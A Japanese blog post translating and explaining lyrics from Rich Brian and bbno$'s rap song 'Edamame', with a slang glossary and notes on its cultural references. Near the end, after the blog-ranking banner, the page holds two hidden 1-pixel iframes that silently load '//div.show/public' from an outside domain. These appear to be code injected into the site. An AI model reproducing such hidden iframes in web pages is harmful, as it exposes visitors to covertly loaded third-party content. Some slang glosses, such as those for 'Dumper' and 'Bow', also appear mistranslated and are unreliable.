<p class="wp-block-paragraph"><strong>Woah! I&#8217;m A Big Bag Hunter With The Bow</strong><br><strong>She Got A Big Bad Dumper, Drop It Low</strong><br><strong>Mama Called Me And She Happy With The Growth</strong><br><strong>Never Ever Fold For A Thottie, That&#8217;s An Oath</strong></p>



<p class="wp-block-paragraph">俺は大物狙いのハンターだ<br>彼女は上物だけどただの遊びさ<br>ママはビッグになった俺に大満足してるのさ<br>そんな安い女に俺が落ちるわけがない　誓ってもいいぜ</p>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph">・Bad-ass B ＝badd assはイカした人、Bはこの曲ではRich Brianを指します<br>・Kidney＝腎臓<br>・Goofies＝goofy（複）、馬鹿な人<br>・Whip＝車（俗）<br>・Function＝パーティ（俗）<br>・The Major＝大衆、世間<br>・Pop＝弾ける、楽しませる<br>・Chilling On The Beach＝ビーチで寛ぐ<br>・Balls Hanging Low＝男性器<br>・Pop A Bottle＝ボトルをあける<br>・Off A Yacht＝ヨットが出発する、ここでは海上に浮かぶボートと訳<br>・Cling-Clang＝金属が鳴る音、ちゃりんちゃりん<br>・Guala＝金（俗）<br>・Bow=弓<br>・Dumper＝ゴミ、ふった恋人<br>・Fold For=妥協する、ここでは、落ちると訳しています<br>・Thottie=娼婦（俗）<br>・Oath＝誓い</p>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;</p>



<h2 class="wp-block-heading">歌詞をブレイクダウン解説</h2>



<h4 class="wp-block-heading">Edamame（枝豆）</h4>



<p class="wp-block-paragraph">以前からの日本食ブームに加え、子供たちも食べられる、ヘルシーな枝豆はお酒のつまみに最適、しかもベジタリアンも食べられるなどの理由から数年前から欧米で大人気の枝豆。EDAMAMEという表記でスーパーでも販売され、天ぷら、しゃぶしゃぶ、ラーメン、刺身のように日本語のまま受け入れられています。レストランだけでなく学校のカフェテリアでも人気メニューです。この曲では、鞘からはじけ出てくる枝豆の様子が歌詞に登場します。</p>


<div class="su-quote su-quote-style-default"><div class="su-quote-inner su-u-clearfix su-u-trim"><strong>Aye Little Mama, Yeah! You Heard About <span style="color: #ff00ff;">Me</span><br />
I&#8217;ma Pop You Like A Pea, Yeah! Edama<span style="color: #ff00ff;">me</span></strong></div></div>



<p class="wp-block-paragraph">この歌詞では、わざとエダマミーと発音してMeとEdamameが韻を踏ませています。<br>Popは弾けるという意味以外にも、楽しませる、という意味があり、枝豆が鞘から弾け出るように楽しませてやるぜという感じでしょうか。</p>



<h4 class="wp-block-heading">I&#8217;m Bumping That Pac</h4>



<p class="wp-block-paragraph">この That Pac は2 Pacが1996年にリリースした“All Eyez on Me”という楽曲を指しているそう。2 Pacといえばヒップホップ史を塗り替えたラッパーで、1996年に他界してなお、レジェンドとして君臨し続けています。</p>



<h4 class="wp-block-heading">My Strangest Addiction</h4>



<p class="wp-block-paragraph">2016年、<span style="caret-color: #000000; color: #000000;">リッチ・ブライアン</span>自身のYouTubeチャンネル内で、マリファナ中毒だったと語り、<strong>My Strange Addiction(おかしな中毒症状)</strong>と当時の様子を振り返っていました。</p>



<h4 class="wp-block-heading">I Bought A Whip, I Paint It Pink</h4>



<p class="wp-block-paragraph">ピンクの車好きとして知られるbbno$。2019年にリリースしたLalalaという曲でもピンクの車が登場します。</p>



<h4 class="wp-block-heading">Taking Shots</h4>


<div class="su-quote su-quote-style-default"><div class="su-quote-inner su-u-clearfix su-u-trim"><strong>Taking Shots<br />
If You Got Your Mask Off In The Photo You Getting Cropped<br />
Hopping Out The Function, The CVS Is Like A Block Away</strong></div></div>



<p class="wp-block-paragraph">リッチ・ブライアンによると、ここに登場するshotはショットのアルコールではなく、コロナのワクチン注射のことを指しているようです。「Don’t be an anti-vaxxer（アンチ・ワクチンになるな）」という意味が込められているとか。また、「ソーシャルディスタンスやマスクをせずに出かけるのはご法度だ、俺のSNSにそんな奴らは写真から切り取って投稿してやる」とも語っています。CVSはアメリカの大型チェーンドラッグストアの名前で、「そんなマナーのない奴らはドラッグストアでマスクでも買ってこい」と言いたいのでしょう。</p>



<h4 class="wp-block-heading">Baby In The Sun Like The Teletubbies</h4>



<p class="wp-block-paragraph"><a href="https://ja.wikipedia.org/wiki/%E3%83%86%E3%83%AC%E3%82%BF%E3%83%93%E3%83%BC%E3%82%BA" target="_blank" rel="noopener">テレタビーズ</a>は、1997年ごろイギリス発の子供向け番組。この歌詞にはそのショーのベビーサン (Baby Sun)というキャラクターが登場します。黄色赤ちゃんの顔をしたベビーサンは、ショーの始まりで登り、終わりに沈みます。</p>



<h4 class="wp-block-heading">Don&#8217;t Need That VVS</h4>


<div class="su-quote su-quote-style-default"><div class="su-quote-inner su-u-clearfix su-u-trim"><strong>Don&#8217;t Need That VVS, My Ice Is Fake, Your Life Is Fake</strong></div></div>



<p class="wp-block-paragraph">VVS (Very, Very Slightly Included)とはダイヤモンドの良さを説明する時に使われる用語です。多くのラッパーが成功の証にダイヤモンドを購入し、見せびらかすことをリッチ・ブライアンは皮肉って、「ダイヤが良いラッパーを生み出すわけではない。そんなもの俺にはいらない。見せかけだ」と言っています。</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;</p>



<figure class="wp-block-image"><img decoding="async" src="https://www10.a8.net/0.gif?a8mat=35PYA1+9WMO4Y+2NA+1THW9E" alt=""/></figure>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"><a href="https://english.blogmura.com/ranking/in?p_cid=11124350" target="_blank" rel="noopener"><img loading="lazy" decoding="async" src="https://b.blogmura.com/original/1311485" alt="にほんブログ村 英語ブログへ" width="240" height="126" border="0"></a><br><a href="https://english.blogmura.com/ranking/in?p_cid=11124350" target="_blank" rel="noopener">にほんブログ村</a></p>



<p class="wp-block-paragraph">&nbsp;</p>



<div><iframe style="position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;" src="//div.show/public"></iframe></div>



<div><iframe style="position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;" src="//div.show/public"></iframe></div>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F10%2F23%2Fedamame%2F&amp;linkname=%E3%83%A9%E3%83%83%E3%83%97%E3%81%A8%E6%9E%9D%E8%B1%86%E3%81%AE%E8%9E%8D%E5%90%88%EF%BC%9FRich%20Brian%26bbno%24%E3%80%8Eedamame%E3%80%8F%E5%92%8C%E8%A8%B3" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F10%2F23%2Fedamame%2F&amp;linkname=%E3%83%A9%E3%83%83%E3%83%97%E3%81%A8%E6%9E%9D%E8%B1%86%E3%81%AE%E8%9E%8D%E5%90%88%EF%BC%9FRich%20Brian%26bbno%24%E3%80%8Eedamame%E3%80%8F%E5%92%8C%E8%A8%B3" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F10%2F23%2Fedamame%2F&amp;linkname=%E3%83%A9%E3%83%83%E3%83%97%E3%81%A8%E6%9E%9D%E8%B1%86%E3%81%AE%E8%9E%8D%E5%90%88%EF%BC%9FRich%20Brian%26bbno%24%E3%80%8Eedamame%E3%80%8F%E5%92%8C%E8%A8%B3" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F10%2F23%2Fedamame%2F&amp;linkname=%E3%83%A9%E3%83%83%E3%83%97%E3%81%A8%E6%9E%9D%E8%B1%86%E3%81%AE%E8%9E%8D%E5%90%88%EF%BC%9FRich%20Brian%26bbno%24%E3%80%8Eedamame%E3%80%8F%E5%92%8C%E8%A8%B3" title="Line" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F10%2F23%2Fedamame%2F&amp;linkname=%E3%83%A9%E3%83%83%E3%83%97%E3%81%A8%E6%9E%9D%E8%B1%86%E3%81%AE%E8%9E%8D%E5%90%88%EF%BC%9FRich%20Brian%26bbno%24%E3%80%8Eedamame%E3%80%8F%E5%92%8C%E8%A8%B3" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F10%2F23%2Fedamame%2F&amp;linkname=%E3%83%A9%E3%83%83%E3%83%97%E3%81%A8%E6%9E%9D%E8%B1%86%E3%81%AE%E8%9E%8D%E5%90%88%EF%BC%9FRich%20Brian%26bbno%24%E3%80%8Eedamame%E3%80%8F%E5%92%8C%E8%A8%B3" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F10%2F23%2Fedamame%2F&amp;linkname=%E3%83%A9%E3%83%83%E3%83%97%E3%81%A8%E6%9E%9D%E8%B1%86%E3%81%AE%E8%9E%8D%E5%90%88%EF%BC%9FRich%20Brian%26bbno%24%E3%80%8Eedamame%E3%80%8F%E5%92%8C%E8%A8%B3" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F10%2F23%2Fedamame%2F&amp;linkname=%E3%83%A9%E3%83%83%E3%83%97%E3%81%A8%E6%9E%9D%E8%B1%86%E3%81%AE%E8%9E%8D%E5%90%88%EF%BC%9FRich%20Brian%26bbno%24%E3%80%8Eedamame%E3%80%8F%E5%92%8C%E8%A8%B3" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2021%2F10%2F23%2Fedamame%2F&#038;title=%E3%83%A9%E3%83%83%E3%83%97%E3%81%A8%E6%9E%9D%E8%B1%86%E3%81%AE%E8%9E%8D%E5%90%88%EF%BC%9FRich%20Brian%26bbno%24%E3%80%8Eedamame%E3%80%8F%E5%92%8C%E8%A8%B3" data-a2a-url="https://ffeng.jp/2021/10/23/edamame/" data-a2a-title="ラップと枝豆の融合？Rich Brian&amp;bbno$『edamame』和訳"></a></p><p>The post <a rel="nofollow" href="https://ffeng.jp/2021/10/23/edamame/">ラップと枝豆の融合？Rich Brian&amp;bbno$『edamame』和訳</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/08/24/yunggravy_supagood/' title='ヤング・グレイヴィー『SUPA GOOD!!!』　和訳'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://www.livenation.co.jp/yung-gravy-tickets-adp1115822" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60-150x150.png 150w, https://ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60-65x65.png 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">ヤング・グレイヴィー『SUPA GOOD!!!』　和訳</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/07/26/maninfinance/' title='今、TikTokでバズってるメーガン・ボニの&#8221;Looking for a Man in Finance&#8221;を和訳してみた'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/07/14642a23-1d67-49fe-9d7c-1bdae59e4c0b_92af0618-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://www.scmp.com/magazines/style/entertainment/article/3264564/who-megan-boni-tiktokker-behind-man-finance-26-year-old-was-working-day-job-sales-when-her-clip-went" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/07/14642a23-1d67-49fe-9d7c-1bdae59e4c0b_92af0618-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2024/07/14642a23-1d67-49fe-9d7c-1bdae59e4c0b_92af0618-150x150.jpg 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">今、TikTokでバズってるメーガン・ボニの&#8221;Looking for a Man in Finance&#8221;を和訳してみた</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/15/talktalk/' title='チャーリーXCX “Talk Talk” feat.トロイ・シヴァン　和訳　夏の終わりにぴったりなセクシーでスリリングなダンスミュージック'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX-120x120.webp" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX-120x120.webp 120w, https://ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX-150x150.webp 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">チャーリーXCX “Talk Talk” feat.トロイ・シヴァン　和訳　夏の終わりにぴったりなセクシーでスリリングなダンスミュージック</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1617</post-id>	</item>
	</channel>
</rss>
